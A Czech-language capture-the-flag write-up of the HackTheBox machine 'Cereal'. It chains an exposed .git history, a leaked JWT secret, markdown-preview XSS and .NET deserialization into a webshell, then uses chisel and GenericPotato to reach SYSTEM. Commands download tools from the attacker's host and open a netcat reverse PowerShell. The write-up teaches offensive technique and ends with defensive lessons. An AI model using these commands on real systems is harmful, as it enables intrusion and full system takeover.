Cereal
Úvod a kontext
Cereal je výborná ukázka modernějšího webového řetězce: veřejně dostupný .git, starý commit s JWT tajemstvím, klientská XSS v administračním rozhraní a nakonec zneužití server-side deserializace. Nejde o lineární “najdu RCE a hotovo”, ale o několik navazujících chyb důvěry.
Stejně zajímavá je i root část. Po prvním shellu se neútočí přímo na veřejně viditelnou Windows službu, ale na GraphQL endpoint objevený až při lokálním průzkumu hostu. Teprve spojení SeImpersonatePrivilege, port forwardu a GenericPotato dovede celý řetězec až k SYSTEM.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 08:8e:fe:04:8c:ad:6f:df:88:c7:f3:9a:c5:da:6d:ac (RSA)
| 256 fb:f5:7b:a1:68:07:c0:7b:73:d2:ad:33:df:0a:fc:ac (ECDSA)
|_ 256 cc:0e:70:ec:33:42:59:78:31:c0:4e:c2:a5:c9:0e:1e (ED25519)
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://10.10.10.217/
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_http-favicon: Unknown favicon MD5: __CENSORED__
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Cereal
| ssl-cert: Subject: commonName=cereal.htb
| Subject Alternative Name: DNS:cereal.htb, DNS:source.cereal.htb
| Issuer: commonName=cereal.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-11-11T19:57:18
| Not valid after: 2040-11-11T20:07:19
| MD5: 8785 41e5 4962 7041 af57 94e3 4564 090d
|_SHA-1: 5841 b3f2 29f0 2ada 2c62 e1da 969d b966 57ad 5367
|_ssl-date: 2021-04-01T21:44:34+00:00; +2m44s from scanner time.
| tls-alpn:
|_ http/1.1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Enumerace webu
Hlavní web cereal.htb vrací jen minimum obsahu, ale certifikát zároveň prozradí vedlejší host source.cereal.htb. Právě ten nakonec obsahuje nejdůležitější chybu v celé cestě.
./dirsearch/dirsearch.py -u https://cereal.htb/ -e php -x 403 -r
./dirsearch/dirsearch.py -u https://source.cereal.htb/ -e php -x 403 -r
[23:53:49] 200 - 1KB - /favicon.ico
[23:53:58] 200 - 492B - /manifest.json
[23:54:09] 200 - 57B - /robots.txt
[23:57:03] 200 - 23B - /.git/logs/HEAD
...
Analýza zjištění
Otevřený .git a staré commity
.git/logs/HEAD má smysl číst právě proto, že nevrací jen současný stav, ale i historii commitů. Tady to vede ke stažení celého repozitáře a k porovnání starších verzí backendu a frontendu.
https://source.cereal.htb/.git/logs/HEAD
__CENSORED__ __CENSORED__ Count Chocula <chocula@cere.al> 1573789070 -0600 commit (initial): CEREAL!!
__CENSORED__ __CENSORED__ Sonny <sonny@cere.al> 1573789206 -0600 commit: Security fixes
__CENSORED__ __CENSORED__ Sonny <sonny@cere.al> 1573789555 -0600 commit: Image updates
__CENSORED__ __CENSORED__ Sonny <sonny@cere.al> 1578439144 -0600 commit: Some changes
./gitdumper.sh https://source.cereal.htb/.git/ ../../Machines/Cereal/repo
./extractor.sh ../../Machines/Cereal/repo ../../Machines/Cereal/extractGit
JWT secret a XSS v admin panelu
Ve starším commitu je v UserService.cs natvrdo uložené JWT tajemství. Zároveň React admin page používá react-marked-markdown ve verzi, která dovolí zneužít markdown preview. To je přesně kombinace, která dává smysl: vlastnoručně podepsat admin token a pak pomocí XSS přinutit administrátora, aby provedl další autentizovaný krok za nás.
grep -R "secretlhfIH&FY*#oysuflkhskjfhefesf" -n ../../Machines/Cereal/extractGit
var key = Encoding.ASCII.GetBytes("secretlhfIH&FY*#oysuflkhskjfhefesf");
<MarkdownPreview markedOptions= value={requestData.title} />
Získání přístupu
Podvržený JWT a server-side download
Podepsaný JWT s name = 1 otevře admin kontext. Potom lze přes XSS v názvu requestu spustit JavaScript, který pošle na backend JSON s typem Cereal.DownloadHelper. Server tento objekt deserializuje, stáhne shell.aspx z našeho hostu a uloží ho do C:\inetpub\source\uploads\.
python3 jwt_tool.py -b -S hs256 -p 'secretlhfIH&FY*#oysuflkhskjfhefesf' eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9Cg==.eyJuYW1lIjogIjEiLCAiZXhwIjogMTYxNzk3MDYxNX0K.
python3 exploit.py
curl -k https://source.cereal.htb/uploads/shell.aspx
Získání user flagu
user.txt tady potvrzuje, že XSS nebyla jen klientská kuriozita, ale reálně vedla k zápisu webshellu a shellu na aplikačním serveru.
more user.txt
__CENSORED__
Eskalace oprávnění
GraphQL na portu 8080 a SeImpersonatePrivilege
Po prvním shellu je klíčové podívat se, co na hostu běží mimo původní web. netstat ukáže službu na portu 8080 a whoami /all potvrdí SeImpersonatePrivilege. To je přesně kombinace, která stojí za další pivot: nejdřív zpřístupnit GraphQL zvenku přes chisel, potom ho využít jako trigger pro GenericPotato.
netstat -ano | findstr LISTEN
whoami /all
=> TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING 4
=> SeImpersonatePrivilege Impersonate a client after authentication Enabled
updatePlant jako trigger pro GenericPotato
GenericPotato otevře lokální HTTP listener na 8890. Když se přes interní GraphQL zavolá mutace updatePlant se sourceURL:"http://localhost:8890", privilegovaná služba se na tento endpoint sama připojí a SeImpersonatePrivilege se promění v SYSTEM shell.
curl http://10.10.14.22:8000/exe/chisel_windows_amd64.exe -o chisel_windows_amd64.exe
curl http://10.10.14.22:8000/exe/nc64.exe -o nc64.exe
curl http://10.10.14.22:8000/exe/GenericPotato.exe -o GenericPotato.exe
curl http://10.10.14.22:8000/exe/NtApiDotNet.xml -o NtApiDotNet.xml
./chisel server -p 8001 --reverse
chisel_windows_amd64.exe client 10.10.14.22:8001 R:8081:127.0.0.1:8080
.\GenericPotato.exe -p "c:\ProgramData\nc64.exe" -a "10.10.14.22 4002 -e powershell" -e HTTP -l 8890
curl -k -X "POST" -H "Content-Type: application/json" --data-binary '{"query":"mutation{updatePlant(plantId:2, version:2.2, sourceURL:\"http://localhost:8890\")}"}' 'http://localhost:8081/api/graphql'
cat root.txt
__CENSORED__
Shrnutí klíčových poznatků
- První rozhodující chyba byla veřejně dostupná
.githistorie nasource.cereal.htb, ze které šlo vytáhnout starý JWT secret i implementační detaily backendu. - Foothold nevznikl jedním RCE bugem, ale kombinací podvrženého admin tokenu, XSS v markdown preview a server-side deserializace objektu
Cereal.DownloadHelper. - Root část stála na interním GraphQL endpointu a
SeImpersonatePrivilege, ne na veřejně dostupné Windows službě.
Co si odnést do praxe
- Nasazené aplikace nesmějí publikovat
.gitani jinou historii zdrojových kódů. U Cereal právě starý commit otevřel token signing key a celý útok tím začal dřív, než přišla řada na samotnou aplikaci. - Klientské sanitizace v admin rozhraní nejsou bezpečnostní kontrola. Jakmile markdown preview dovolí XSS a backend zároveň důvěřuje typům při deserializaci, z admin prohlížeče se stává vzdálený vykonavatel serverových akcí.
- Interní API na localhostu nejsou automaticky bezpečná. Pokud lze po compromise hostu spojit lokální endpoint s
SeImpersonatePrivilege, často z toho vznikne spolehlivý přechod naSYSTEM.